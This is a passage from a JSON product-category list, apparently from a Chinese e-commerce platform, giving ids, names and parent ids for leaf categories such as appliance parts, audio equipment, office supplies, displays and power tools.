"name":"洗衣机配件","parent_cid":20786,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25546,"name":"烟机灶具配件","parent_cid":20786,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25547,"name":"其他大家电配件","parent_cid":20786,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25486,"name":"全屋供暖","parent_cid":20759,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25503,"name":"全屋智慧家电解决方案","parent_cid":20759,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25485,"name":"中央空调","parent_cid":20759,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25484,"name":"中央热水","parent_cid":20759,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25483,"name":"中央新风","parent_cid":20759,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25498,"name":"家用空调套装","parent_cid":20758,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25441,"name":"厨宝","parent_cid":20734,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25456,"name":"电热水龙头","parent_cid":20734,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25447,"name":"电热水器","parent_cid":20734,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25458,"name":"即热式热水器","parent_cid":20734,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25461,"name":"空气源热泵热水器","parent_cid":20734,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25455,"name":"燃气热水器","parent_cid":20734,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25446,"name":"热厨套装","parent_cid":20734,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25459,"name":"太阳能热水器","parent_cid":20734,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25472,"name":"冰鲜台","parent_cid":20750,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25463,"name":"岛柜","parent_cid":20750,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25474,"name":"风幕柜","parent_cid":20750,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25462,"name":"冷库","parent_cid":20750,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25481,"name":"商用冰箱","parent_cid":20750,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25482,"name":"商用冷柜","parent_cid":20750,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25491,"name":"水果保鲜柜","parent_cid":20750,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33851,"name":"鲜花保鲜柜","parent_cid":20750,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25492,"name":"药品阴凉柜","parent_cid":20750,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25473,"name":"圆弧柜","parent_cid":20750,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26293,"name":"无线耳机","parent_cid":20990,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26294,"name":"有线耳机","parent_cid":20990,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26042,"name":"胆机","parent_cid":20913,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26044,"name":"低音炮","parent_cid":20913,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26041,"name":"耳放","parent_cid":20913,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26039,"name":"功放","parent_cid":20913,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26037,"name":"Hifi套装","parent_cid":20913,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26038,"name":"Hifi音箱","parent_cid":20913,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26043,"name":"话放","parent_cid":20913,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26040,"name":"混响","parent_cid":20913,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26045,"name":"解码器","parent_cid":20913,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31866,"name":"iPod","parent_cid":32421,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31867,"name":"录音笔","parent_cid":32421,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31863,"name":"MP3","parent_cid":32421,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31865,"name":"MP4","parent_cid":32421,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26909,"name":"便携VCD播放器","parent_cid":21185,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26905,"name":"CD随身听","parent_cid":21185,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26910,"name":"复读机","parent_cid":21185,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26906,"name":"MD","parent_cid":21185,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26913,"name":"视频眼镜","parent_cid":21185,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26912,"name":"收录机/手提CD/面包机","parent_cid":21185,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26911,"name":"收音机","parent_cid":21185,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26907,"name":"TAPE磁带随身听","parent_cid":21185,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26908,"name":"移动/便携DVD","parent_cid":21185,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27116,"name":"打碟机","parent_cid":21277,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27117,"name":"点歌机","parent_cid":21277,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27145,"name":"调音台(舞台)","parent_cid":21277,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27143,"name":"分频器(舞台)","parent_cid":21277,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27004,"name":"均衡(舞台)","parent_cid":21277,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26925,"name":"KTV/卡拉OK音箱","parent_cid":21277,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27144,"name":"效果器(舞台)","parent_cid":21277,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27438,"name":"专业音频放大器(舞台)","parent_cid":21277,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27678,"name":"电源插座/接线板","parent_cid":21411,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27549,"name":"碟/电池/电源适配器","parent_cid":21411,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27587,"name":"耳机/耳麦配件","parent_cid":21411,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27741,"name":"更多影音配件","parent_cid":21411,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27545,"name":"HDMI线","parent_cid":21411,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27548,"name":"hifi音响配件","parent_cid":21411,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27648,"name":"麦克风/话筒配件","parent_cid":21411,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27547,"name":"VGA线","parent_cid":21411,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27551,"name":"线材","parent_cid":21411,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27610,"name":"遥控器","parent_cid":21411,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27595,"name":"音频/视频无线传输器材","parent_cid":21411,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26392,"name":"电脑多媒体音箱","parent_cid":21019,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26384,"name":"回音壁音响","parent_cid":21019,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26367,"name":"家庭影院","parent_cid":21019,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26391,"name":"拉杆广场音箱/户外音响","parent_cid":21019,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26366,"name":"无线/蓝牙音箱","parent_cid":21019,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26387,"name":"移动便携音箱","parent_cid":21019,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26380,"name":"桌面音响/音箱","parent_cid":21019,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32398,"name":"飞行器配件","parent_cid":32192,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32397,"name":"飞行器整件","parent_cid":32192,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33509,"name":"云台","parent_cid":33496,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26917,"name":"AI语音助手","parent_cid":31988,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32046,"name":"白/黑板","parent_cid":21633,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32047,"name":"白/黑板配件","parent_cid":21633,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28149,"name":"办公展示","parent_cid":21633,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28135,"name":"笔类/书写工具","parent_cid":21633,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28155,"name":"财会用品","parent_cid":21633,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28153,"name":"裁剪用品","parent_cid":21633,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28178,"name":"绘图测量用品","parent_cid":21633,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28152,"name":"胶粘用品","parent_cid":21633,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28141,"name":"计算器","parent_cid":21633,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28134,"name":"收纳/陈列用品","parent_cid":21633,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28150,"name":"印刷制品","parent_cid":21633,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28151,"name":"纸张本册","parent_cid":21633,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28154,"name":"装订用品","parent_cid":21633,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28177,"name":"其他办公用品","parent_cid":21633,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32258,"name":"复印纸","parent_cid":32193,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32259,"name":"其他办公用纸","parent_cid":32193,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32041,"name":"真空包装机","parent_cid":31986,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32042,"name":"其他封装设备","parent_cid":31986,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28087,"name":"广告板材","parent_cid":21535,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28083,"name":"喷绘机","parent_cid":21535,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28080,"name":"平板/UV打印机","parent_cid":21535,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28084,"name":"晒图机","parent_cid":21535,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28081,"name":"丝印机","parent_cid":21535,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28086,"name":"烫金机/压烫机","parent_cid":21535,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28085,"name":"条幅机","parent_cid":21535,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28088,"name":"物料基材","parent_cid":21535,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28082,"name":"写真机","parent_cid":21535,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32265,"name":"会议平板","parent_cid":32195,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32267,"name":"语音转写笔记本/平板电脑","parent_cid":32195,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32266,"name":"其他会议设备","parent_cid":32195,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32262,"name":"边缘计算盒子","parent_cid":32194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32423,"name":"考勤机","parent_cid":32194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32260,"name":"门禁闸机","parent_cid":32194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32264,"name":"面板机(人像识别)","parent_cid":32194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32261,"name":"摄像头","parent_cid":32194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32263,"name":"图像解析服务器","parent_cid":32194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32038,"name":"收银机","parent_cid":31985,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32039,"name":"其他收银机","parent_cid":31985,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28091,"name":"油墨","parent_cid":21547,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28123,"name":"保护屏/防尘罩","parent_cid":21602,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28114,"name":"CMMB终端","parent_cid":21602,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28115,"name":"CRT显示器","parent_cid":21602,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28117,"name":"耳麦","parent_cid":21602,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28121,"name":"光盘盒/CD包","parent_cid":21602,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28119,"name":"光驱/刻录/DVD","parent_cid":21602,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28127,"name":"绘图板配件","parent_cid":21602,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28125,"name":"连接线/连接器/转换器","parent_cid":21602,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28124,"name":"理线带/理线器","parent_cid":21602,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28118,"name":"软驱","parent_cid":21602,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28122,"name":"鼠标垫/贴/腕垫","parent_cid":21602,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28126,"name":"图文信息/采集卡","parent_cid":21602,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28116,"name":"UPS电源","parent_cid":21602,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28129,"name":"无线电脑周边产品","parent_cid":21602,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28120,"name":"硬盘盒","parent_cid":21602,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28128,"name":"其它电脑周边","parent_cid":21602,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28111,"name":"企业级电源","parent_cid":21597,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28110,"name":"企业级机箱","parent_cid":21597,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28108,"name":"企业级内存","parent_cid":21597,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28109,"name":"企业级显卡","parent_cid":21597,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28113,"name":"企业级显示器","parent_cid":21597,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28112,"name":"企业级硬盘","parent_cid":21597,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28107,"name":"企业级主板","parent_cid":21597,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28103,"name":"便携显示器","parent_cid":21595,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32032,"name":"拼接屏","parent_cid":21595,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28102,"name":"显示器","parent_cid":21595,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28104,"name":"显示器配件","parent_cid":21595,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28105,"name":"显示器校色仪","parent_cid":21595,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28106,"name":"组装液晶显示器","parent_cid":21595,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28143,"name":"点读笔","parent_cid":21634,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28142,"name":"点读机","parent_cid":21634,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28156,"name":"电子辞典","parent_cid":21634,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32045,"name":"电子文教用品","parent_cid":21634,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28157,"name":"电子阅读","parent_cid":21634,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28144,"name":"翻译笔","parent_cid":21634,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28146,"name":"学习机/教育伴学机","parent_cid":21634,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28169,"name":"学习手写板","parent_cid":21634,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28174,"name":"智能记事本/手写本/办公本","parent_cid":21634,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32044,"name":"作业/错题打印机","parent_cid":21634,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28159,"name":"传输设备","parent_cid":21641,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28171,"name":"监控控制台","parent_cid":21641,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28160,"name":"摄像设备","parent_cid":21641,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28172,"name":"网络摄像机","parent_cid":21641,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28180,"name":"网络图像设备","parent_cid":21641,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28161,"name":"显示控制","parent_cid":21641,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29052,"name":"触摸屏/触控屏","parent_cid":22202,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29050,"name":"OLED","parent_cid":22202,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29051,"name":"显示屏/LCD液晶屏/LED屏/TFT屏","parent_cid":22202,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29053,"name":"显示器件","parent_cid":22202,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22740,"name":"车底检查镜","parent_cid":20292,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22749,"name":"红外线测温系统/测温门","parent_cid":20292,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22741,"name":"金属探测器","parent_cid":20292,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22746,"name":"无线电波探测仪","parent_cid":20292,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28050,"name":"车用洗车机/设备","parent_cid":20288,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22639,"name":"倒角机","parent_cid":20288,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22589,"name":"电锤","parent_cid":20288,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22687,"name":"电动扳手","parent_cid":20288,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22710,"name":"电动螺丝批","parent_cid":20288,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22688,"name":"电动批头","parent_cid":20288,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22708,"name":"电动坡口机","parent_cid":20288,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22709,"name":"电动套丝机","parent_cid":20288,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22587,"name":"电剪","parent_cid":20288,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22590,"name":"电锯","parent_cid":20288,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22643,"name":"电锯片","parent_cid":20288,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22594,"name":"电磨/角磨机","parent_cid":20288,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22586,"name":"电刨","parent_cid":20288,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22588,"name":"电钻","parent_cid":20288,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22652,"name":"雕刻机","parent_cid":20288,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22640,"name":"光饰机","parent_cid":20288,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22651,"name":"角磨机","parent_cid":20288,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22644,"name":"界铝机","parent_cid":20288,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22650,"name":"螺丝机","parent_cid":20288,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22649,"name":"磨刀机","parent_cid":20288,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22642,"name":"抛光机","parent_cid":20288,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22641,"name":"切割机","parent_cid":20288,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22686,"name":"热溶胶枪","parent_cid":20288,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22646,"name":"砂带机","parent_cid":20288,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22648,"name":"砂轮机","parent_cid":20288,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22647,"name":"砂纸机","parent_cid":20288,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28041,"name":"洗车水枪","parent_cid":20288,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":22638,"name":"修边机","parent_cid":20288,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22637,"name":"云石片","parent_cid":20288,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22645,"name":"直磨机","parent_cid":20288,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22724,"name":"其它电动工具","parent_cid":20288,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22655,"name":"变频器","parent_cid":20289,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22654,"name":"变压器","parent_cid":20289,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22712,"name":"不间断电源/应急电源","parent_cid":20289,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22730,"name":"电工电器成套设备","parent_cid":20289,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22690,"name":"电线电缆","parent_cid":20289,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22596,"name":"电源/不间断电源/应急电源","parent_cid":20289,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22689,"name":"低压电气","parent_cid":20289,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22729,"name":"工控系统及装备","parent_cid":20289,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22653,"name":"互感器","parent_cid":20289,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22658,"name":"继电器","parent_cid":20289,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22656,"name":"机器人","parent_cid":2028